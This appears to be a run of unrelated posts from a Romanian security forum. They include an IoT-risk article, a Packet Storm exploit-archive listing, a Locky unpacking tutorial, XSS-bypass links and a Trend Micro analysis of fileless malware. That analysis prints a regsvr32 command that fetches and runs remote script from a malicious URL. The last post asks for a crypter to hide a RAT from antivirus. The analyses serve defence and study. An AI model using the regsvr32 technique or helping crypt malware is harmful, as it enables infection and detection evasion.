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Paralel rau cu geometria. 1. Ca sa trasezi o dreapta iti trebuie 2 PUNCTE!!! 27 nu este un punct! un punct e de forma (x,y) ex: (27,30) tie iti trebuie 2 puncte ex: (27,30) (28,30) 2. De ce sa trasezi dreapta? Vrei sa o afisezi utilizatorului? Daca nu o afisezi nu o trasa. Problema ta poate fi rezolvata doar cu 3 ecuatii. 3. Ce ceri tu cu (punct sub dreapta sau deasupra) e o problema de clasa a 11-a (matematica sau informatica). Ecuatiile sunt banale pentru oricine a luat bacul la mate. 4. Nu ma complic sa iti explic solutia. Tu vrei sa faci ceva bot de forex ca sa faci bani pt cabinet stomatologic. Bafta. Edit: Daca tu te chinui cu problema asta nu ai nicio sansa sa scrii cod java/c#/c++ sa o rezolve. Chiar daca iti explica cineva.

Consulta un manual de clasa 10a, geometrie plana in pula mea. Daca vrei te invat eu cum sa trasezi o parabolica

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Connecting real world products and appliances to the internet is setting us up for a disaster, according to cyber security expert Bruce Schneier. The former chief technology officer for BT Managed Security Solutions said that hackers can do three things with data: steal it, modify it, and prevent the owner from getting it. The last two type of hacks could become extremely powerful, as we enter a more connected world. “It’s one thing if your smart door lock can be eavesdropped upon to know who is home,” said Schneier in a Motherboard op-ed. “It’s another thing entirely if it can be hacked to allow a burglar to open the door—or prevent you from opening your door. A hacker who can deny you control of your car, or take over control, is much more dangerous than one who can eavesdrop on your conversations or track your car’s location.” Schneier doesn’t mince words, he says that the Internet of Things (IoT) will bring about “attacks we can’t even imagine.” Hackers could reduce the temperature on smart thermostats to freeze water pipes, crash airplanes and cars, and even attack connected medical devices that are required to keep people alive. Threats to your life aren’t all you need to worry about, according to another article wrote by Schneier for the Washington Post, we must also worry about voter manipulation from governments and hackers. Recent Russian hacks could show the way Schneier warns that if Russian hackers were able to gain control of DNC emails that it wouldn’t take much for them to be able to hack into online voting machines. In the same article, Schneier warns against online voting, listing a variety of security reasons. Ethical hackers could be a major force for good, in Schneier’s eyes, helping identify faulty systems that can be broken into. He also calls for more government support to keep foreign governments and other adversaries out of U.S. cyberspace. Via readwrite.com

This archive contains all of the 169 exploits added to Packet Storm in July, 2017. Content: 1707-exploits/ 1707-exploits/ZSL-2017-5422.txt 1707-exploits/easychatserver_seh.rb.txt 1707-exploits/wdtvlivesmp-reset.txt 1707-exploits/FIREFOX-v54.0.1-DENIAL-OF-SERVICE.txt 1707-exploits/webmin1840-xss.txt 1707-exploits/libtiffsplit-oob.tgz 1707-exploits/pycharm20-overflow.txt 1707-exploits/rt-sa-2017-008.txt 1707-exploits/mpg123-dos.tgz 1707-exploits/ZSL-2017-5420.txt 1707-exploits/medhost-dms-psql-solr.txt 1707-exploits/sophoswa4302-exec.txt 1707-exploits/YAWS-WEB-SERVER-v1.91-UNAUTHENTICATED-REMOTE-FILE-DISCLOSURE.txt 1707-exploits/lepide-exec.txt 1707-exploits/KL-001-2017-015.txt 1707-exploits/libvorbis-dos.tgz 1707-exploits/rt-sa-2017-003.txt 1707-exploits/cscz-exec.tgz 1707-exploits/wplogoswaresu116-file.txt 1707-exploits/razer_zwopenprocess.rb.txt 1707-exploits/libiberty-overflow.tgz 1707-exploits/jenkins-deserialize.txt 1707-exploits/xenforo1513-xss.txt 1707-exploits/GS20170725050029.txt 1707-exploits/lame3955-dos.tgz 1707-exploits/pre_auth_cmdi_cakephp_cookie_logout_raw_request.txt 1707-exploits/oraclewebcentercontent-xss.txt 1707-exploits/SYSS-2017-011.txt 1707-exploits/libid3tag-dos.tgz 1707-exploits/ftpgetter589085-overflow.txt 1707-exploits/barracudalb601006-exec.rb.txt 1707-exploits/dnsamp-poc.pl.txt 1707-exploits/msiemshtml-exec.txt 1707-exploits/DC-2017-04-001.txt 1707-exploits/KL-001-2017-014.txt 1707-exploits/medhostconnex-passwd.txt 1707-exploits/hg100r-xssdisclose.txt 1707-exploits/ZSL-2017-5415.txt 1707-exploits/opendreambox200-exec.txt 1707-exploits/bitcoin-core-bug.zip 1707-exploits/nfsec137alienvault534-exec.txt 1707-exploits/ZSL-2017-5419.txt 1707-exploits/shenzhencdata-xssexec.txt 1707-exploits/libjpegturbo-dos.tgz 1707-exploits/boawebserver094-fileaccess.txt 1707-exploits/belkinf7d7601-exec.txt 1707-exploits/rt-sa-2017-004.txt 1707-exploits/link214-dos.tgz 1707-exploits/KL-001-2017-010.txt 1707-exploits/joomlaccnewsletter219-sql.txt 1707-exploits/ipfire_oinkcode_exec.rb.txt 1707-exploits/rt-sa-2017-006.txt 1707-exploits/orionbrowser79-mitm.txt 1707-exploits/medhost-hmscxpdn-hardcoded-credentials.txt 1707-exploits/vicidial_user_authorization_unauth_cmd_exec.rb.txt 1707-exploits/SA-20170727-1.txt 1707-exploits/raidenhttp.py.txt 1707-exploits/eVestigator-POC.tgz 1707-exploits/wmi_persistence.rb.txt 1707-exploits/razer_synapse-dllhijack.tgz 1707-exploits/GS20170725014326.txt 1707-exploits/mawk-overflow.txt 1707-exploits/bittorrent_installer-dllhijack.txt 1707-exploits/wptaskmanager131-xss.txt 1707-exploits/goautodial_3_rce_command_injection.rb.txt 1707-exploits/citrix_sd_wan_cgisessid_cookie_preauth_root.rb.txt 1707-exploits/audiocoder0846-overflow.txt 1707-exploits/soundtouch-dos.tgz 1707-exploits/rt-sa-2017-005.txt 1707-exploits/SA-20170727-0.txt 1707-exploits/ismartalarmbackend-ssrf.txt 1707-exploits/hashicorp-escalate.txt 1707-exploits/GS20170725050222.txt 1707-exploits/GS20170725045736.txt 1707-exploits/mseb-exec.txt 1707-exploits/rt-sa-2017-011.txt 1707-exploits/GS20170719045342.txt 1707-exploits/nfsenalienvaultcustomfnt-exec.txt 1707-exploits/WP-Formcraft3.2.31-XSS.txt 1707-exploits/Televes_CoaxData_Gateway.tgz 1707-exploits/mdns-ddos.txt 1707-exploits/GS20170725051507.txt 1707-exploits/GS20170725051206.txt 1707-exploits/vehicleworkshop-sql.txt 1707-exploits/vorbistoolsoggenc-dos.tgz 1707-exploits/example.rb-example.rb.txt 1707-exploits/orangescrum161-uploadxss.txt 1707-exploits/GS20170725014549.txt 1707-exploits/GS20170725050515.txt 1707-exploits/KL-001-2017-013.txt 1707-exploits/apachestruts23x-exec.txt 1707-exploits/sonicwall_sra_gencsr_cmdi.rb.txt 1707-exploits/opinio763-xss.txt 1707-exploits/openexif214-dos.tgz 1707-exploits/GS20170725050805.txt 1707-exploits/vodafone_italia_webmail_stored-xss.txt 1707-exploits/dotcms411-shell.txt 1707-exploits/ERPSCAN-17-037.txt 1707-exploits/firefox5001-exec.txt 1707-exploits/virtualpostage10-execmitm.txt 1707-exploits/rt-sa-2016-007.txt 1707-exploits/joomlajoomrecipe104-sql.txt 1707-exploits/pulseconnect-xssxsrf.pdf 1707-exploits/ZSL-2017-5421.txt 1707-exploits/KL-001-2017-011.txt 1707-exploits/GS20170722015056.tgz 1707-exploits/ismartalarmcubeone-exec.txt 1707-exploits/paulshop-sqlxss.txt 1707-exploits/wpsue138-enumerate.txt 1707-exploits/ciscoddr-bypasstraversal.txt 1707-exploits/pega72ml0-xss.txt 1707-exploits/GS20170725050349.txt 1707-exploits/sox1442-dos.tgz 1707-exploits/msdotnetcom-escalate.txt 1707-exploits/fortios560-xss.txt 1707-exploits/freeipa-sessionhijack.txt 1707-exploits/datataker-disclose.txt 1707-exploits/GS20170725014438.txt 1707-exploits/naefsw-overflow.py.txt 1707-exploits/libao-dos.tgz 1707-exploits/KL-001-2017-012.txt 1707-exploits/medc10-exec.txt 1707-exploits/rt-sa-2017-009.txt 1707-exploits/divfix-dos.tgz 1707-exploits/skillscomau-execmitm.txt 1707-exploits/alzip-exec.txt 1707-exploits/ZSL-2017-5417.txt 1707-exploits/cms221-lfi.txt 1707-exploits/sitecorecms82-disclosexss.txt 1707-exploits/2_AUSEDUAPP.rar 1707-exploits/ssra8102-exec.txt 1707-exploits/rupm-xss.txt 1707-exploits/SA-20170724-0.txt 1707-exploits/libtiffjbig-dos.tgz 1707-exploits/fiwmob17-passwordchange.txt 1707-exploits/wpsrbp3015-xss.txt 1707-exploits/SA-20170724-1.txt 1707-exploits/GS20170719045703.tgz 1707-exploits/mediacoder08-overflow.txt 1707-exploits/diskboss8214-overflow.txt 1707-exploits/wpyoutube1181-xsrf.txt 1707-exploits/ZSL-2017-5424.txt 1707-exploits/nfsec137alienvault536-escalate.txt 1707-exploits/sonicwall_sra_importlogo_upload_sitecustomization_cmdi.rb.txt 1707-exploits/timidity-dos.tgz 1707-exploits/SA-20170712-0.txt 1707-exploits/libtiffdirwrite-dos.tgz 1707-exploits/GS20170725051037.txt 1707-exploits/doorgetscms70-redirect.txt 1707-exploits/insomniax-load.txt 1707-exploits/rt-sa-2017-007.txt 1707-exploits/ZSL-2017-5423.txt 1707-exploits/ZSL-2017-5416.txt 1707-exploits/socusoft-xss.txt 1707-exploits/windows-browser-example.rb.txt 1707-exploits/libmad-dos.tgz 1707-exploits/WP-AffilliatePro3.6-XSS.txt 1707-exploits/msf_rpc_console.rb.txt 1707-exploits/GS20170719045905.tgz 1707-exploits/necuniverseum4730-sql.txt 1707-exploits/rpcinfoportmapdump-dos.txt 1707-exploits/nosefart-dos.tgz 1707-exploits/GS20170719050116.tgz 1707-exploits/GS20170725050641.txt 1707-exploits/yaws20-xss.txt 1707-exploits/ZSL-2017-5418.txt 1707-exploits/fiwmob17-sql.txt 1707-exploits/1_BESTSAFEBROWSER.rar 1707-exploits/fiwmob17-sqlbypass.txt Download 1707-exploits.tgz (20.9 MB) https://packetstormsecurity.com/files/143659/Packet-Storm-New-Exploits-For-July-2017.html

In afara de laptop, mai ai nevoie de interfata, si de software, ceva de genul asta https://www.olx.ro/oferta/tester-renault-logadacia-can-clip-v164-update-IDuVOu.html#ac9ad8b74b. Deasemenea, poti lua si o versiune generica, gen un chinezism de elm 327 si software free, dar ala e degeaba, numai sa nu zici ca nu ai laptopu/smartfonu conectat cu renoul. In general, cel ce iti vinde interfata, iti da si ceva suport telefonic, in limita bunului simt.

Unpacking Locky I will show you how to unpack a Locky sample with OllyDbg. This packer is indeed an easy one. But you will see for yourself. Download the sample from Hybrid-Analysis. An alternative way of unpacking this sample is in this video on my channel: The first thing I always do is a static check with a PE analysis tool like PortexAnalyzer. The image will look as follows and already tell us that the file is packed. Several sections of the file have a high entropy, including the .rdata section. Packer identifies like DIE will not know what was used to pack it, because the packer is a custom one. This is often the case with malware samples. This packer has the quirky characteristic to always add 32-bit Edition to the file version information whilst the other information changes: StringFileInfo --------------- language ID: 0x0409 code page: 0x04b0 CompanyName: Doubtsoftware.com FileDescription: Advanced Task Scheduler 32-bit Edition FileVersion: 4.1.0.612 InternalName: #dvenced Task Scheduler 32-bit Edition LegalCopyright: Copyright © Southsoftware.com, 2002-2015 OriginalFilename: Bifscheduler_edmin.exe ProductName: Advanced Task Scheduler 32-bit Edition ProductVersion: 4.1.0.612 The debug information has a strange, unknown type, hence Portex does not parse it any further: Debug Information ***************** Time Date Stamp: Thu Dec 09 05:07:00 CET 2083 Type: 4102553603 no description available If you look into the binary (tip: search for 'RSDS' to find it with the hex editor) you will see that there is debug path that has been created or modified in a random fashion: Z:\as\28cxkoao\azoozykz\l0t\jx\w9y4cni\jyc6mq3\mvnt.pdb Whilst this does not help to unpack the file, it might help to recognize this custom packer in the future. A check of the strings in the binary and the imports won't get us any further. If you get this sample in a fresh state, you will easily see that this is Locky with dynamic analysis. But once the samples are older and can't find a working C&C, they won't encrypt anymore. Now load the binary with OllyDbg. Don't forget to take a snapshot of your VM at this point. Simply step over with F8 while keeping your eyes open. If you happen to step over the following call you will see that the sample is doing a lot (reload the sample if that happens), so you should step into it instead (press f7). The same happens at the following call, also step into: Just keep on going like this, stepping over calls unless they start to do a lot, and keep your eyes open. At address 0x402364 you might notice that the code writes to the .rdata section (0x417EE on that image). Indeed, if you put a breakpoint to the instruction and watch .rdata in the dump window while running to the breakpoint (F9), you will see how .rdata gets decrypted. The jump to the .rdata section appears in 0x4020F0. Note that push followed by ret equals a jump instruction. This ret instruction will jump to 0x41577A. Compare that with the PortexAnalyzer report or the Memory window in OllyDbg to verify that this virtual address is in the .rdata section. Unfortunately we are not there yet. The decrypted code in the .rdata section is also a packer stub. Step through the code for a while. At some point you will see that the code collects addresses to common DLL functions with GetProcAddress. One of those is RtlDecompressBuffer, which is used by lots of packers to unpack their payload. Break at address 0x415B37. Right-click the value of EAX and click "Follow in Disassembler". You will now see the code of the RtlDecompressBuffer function. Break at the PUSH DWORD PTR [EBP + C] instruction: Now right-click the EDI value and Follow in Dump You will see an empty dump window And after stepping over (F8) the file will unpack in memory. The last thing to do is to open the Memory window and select the right memory area to dump the unpacked executable. Choose the location to save the dump to and you are done. The result is an unpacked Locky as you can verify by checking the strings of the dump or looking at it with a hex editor. Posted 8 hours ago by Karsten Hahn Sursa: http://struppigel.blogspot.de/2017/08/unpacking-locky.html

Tutorial pentru bypass filtre XSS, in doua parti (momentan). Primul contine chestii generice (hex, control characters, octal): http://blog.rakeshmane.com/2016/11/xssing-web-part-1.html Aici se concentreaza pe Unicode (UTF-8, UTF-16, UTF-32, BOM) http://blog.rakeshmane.com/2017/08/xssing-web-part-2.html

A Look at JS_POWMET, a Completely Fileless Malware Posted on:August 2, 2017 at 7:00 am Posted in:Malware Author: Trend Micro By Michael Villanueva As cybercriminals start to focus on pulling off attacks without leaving a trace, fileless malware, such as the recent SOREBRECT ransomware, will become a more common attack method. However, many of these malware are fileless only while entering a user’s system, as they eventually reveal themselves when they execute their payload. Attacks that use completely fileless malware are a rare occurrence, so we thought it important to discuss a new trojan known as JS_POWMET (Detected by Trend Micro as JS_POWMET.DE), which arrives via an autostart registry procedure. By utilizing a completely fileless infection chain, the malware will be more difficult to analyze using a sandbox, making it more difficult for anti-malware engineers to examine. Initial reports from our Smart Protection Network (SPN) data reveals JS_POWMET affecting APAC the most, with almost 90% of the infections coming from the region. Technical Details Figure 1: JS_POWMET infection Diagram Although the exact method of arrival is still not certain, it is likely that the trojan is downloaded by users that visit malicious sites, or as a file that is dropped by other malware. What is clear about this malware is that the following registry has already been changed by the time it is downloaded into the system. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run COM+ = “regsvr32 /s /n /u /i:{Malicious URL, downloads JS_POWMET} scrobj.dll” JS_POWMET is downloaded via an autostart registry entry (shown above). Here are the descriptions for the following parameters used by “regsvr32”: /s = silent option for regsvr32 /n = tells regsvr32 not to use DllRegisterServer /u = Unregister server/object /i = used for passing an optional parameter (ie. URL) to DLLinstall scrobj.dll = Microsoft’s Script Component Runtime In this method, a URL was given to regsvr32 as a parameter, which will make regsvr32 capable of fetching the file (XML with malicious JavaScript) found on the URL. Due to this routine, regsvr32 will become capable of executing arbitrary scripts without saving the XML file on the machine/system. In particular, whenever the affected machine starts up, it will automatically download the malicious file from its Command & Control (C&C) server. Once JS_POWMET is executed, it will then download another file known as TROJ_PSINJECT (Detected by Trend Micro as TROJ_PSINJECT.A). This file is a Powershell script that runs under the process of Powershell. TROJ_PSINJECT will connect to the following website: hxxps://bogerando[.]ru/favicon This allows TROJ_PSINJECT to download a normal file called favicon. The favicon file will then be decrypted and injected into its process using ReflectivePELoader, which is used for injecting EXE/DLL files. To deobfuscate the malware code, it uses the following techniques. Initially, the malware contains Base64 Strings that will be decoded and decrypted using the RC4 key (which is hard-coded into the malware code). The resulting decrypted strings will be a GZIP-compressed string that is decompressed by the malware itself using the GZIP-decompression routine. This results in the codes for the ReflectivePELoader function that will be used to load the decrypted downloaded file. Favicon will also be decrypted using the aforementioned RC4 key, resulting in a malicious DLL file known as BKDR_ANDROM (Detected by Trend Micro as BKDR_ANDROM.ETIN). Again, this part of the process is also fileless; the file will not be saved into the machine but rather injected into the powershell.exe process. All of these routines will be executed by the malware using PowerShell commands. Figure 2: TROJ_PSINJECT code showing the deobfuscation process BKDR_ANDROM will terminate powershell.exe if it is found running in the system. In addition, it will also gather the following data: Root Volume Serial Number Operating System Version Local IP Address Administrator privileges The malware will add registry entries into the system to ensure that it always executes during startup. The autostart registry entry is capable of decoding the Base64-encoded PowerShell command, which will be used to decrypt the encrypted binary data (also found on the registry, added by the malware) that will result in the malicious codes of BKDR_ANDROM. After the decryption process, it will then execute the decrypted malicious codes. While the final payload in this case consists of common routines of BKDR_ANDROM, there is also a chance that future malware authors might make use of other malware as payload. Conclusion While JS_POWMET and the rest of the files it downloads are relatively light in terms of impact, this malware demonstrates the lengths cybercriminals will go to avoid detection and analysis. It also shows that even relatively uncommon infection methods involving fileless malware continually evolve. Organizations and users should always look beyond the obvious malware files and always be on the lookout for “stealthy” malware that manages to slip into the system virtually unnoticed. One of the more effective methods for mitigating the effects of fileless malware would be to limit access to critical infrastructure via container-based systems that separate endpoints from the most important parts of the network. For this specific malware, IT professionals can also look into disabling Powershell itself to help mitigate the effects of JS_POWMET and its various payloads. Trend Micro Solutions Fileless malware is designed to make detection by security solutions more difficult, as such organizations need to implement multilayered solutions that can help in detection. Trend Micro endpoint solutions such as Trend Micro™ Security, OfficeScan, and Worry-Free Business Security include behavior monitoring to detect this type of malware; this can help organizations look out for malicious behavior that can block the malware before the behavior is executed or performed. With additional analysis from Byron Gelera The following hashtags were used for this article: 7004b6c1829a745002feb7fbb0aad1a4d32c640a6c257dc8d0c39ce7b63b58cc (TROJ_PSINJECT.A) e27f417b96a33d8449f6cf00b8306160e2f1b845ca2c9666081166620651a3ae (JS_POWMET.DE) bff21cbf95da5f3149c67f2c0f2576a6de44fa9d0cb093259c9a5db919599940 (BKDR_ANDROM.ETIN) Sursa: http://blog.trendmicro.com/trendlabs-security-intelligence/look-js_powmet-completely-fileless-malware/

Nou comunicat de presa DOJ https://www.documentcloud.org/documents/3912820-MAN-CHARGED-for-HIS-ROLE-in-CREATING-the-KRONOS.html (conform https://twitter.com/cfarivar/status/893198435817472000)

Pai de ce nu actioneaza nimeni, daca nu e safe ? :/ Ca sunt interesat de ce spune acolo...

Salut RST,am nevoie de un crypter pentru server.exe[RAT], multumesc nu neaparat FUD,dar macar sa nu fie peste 20/63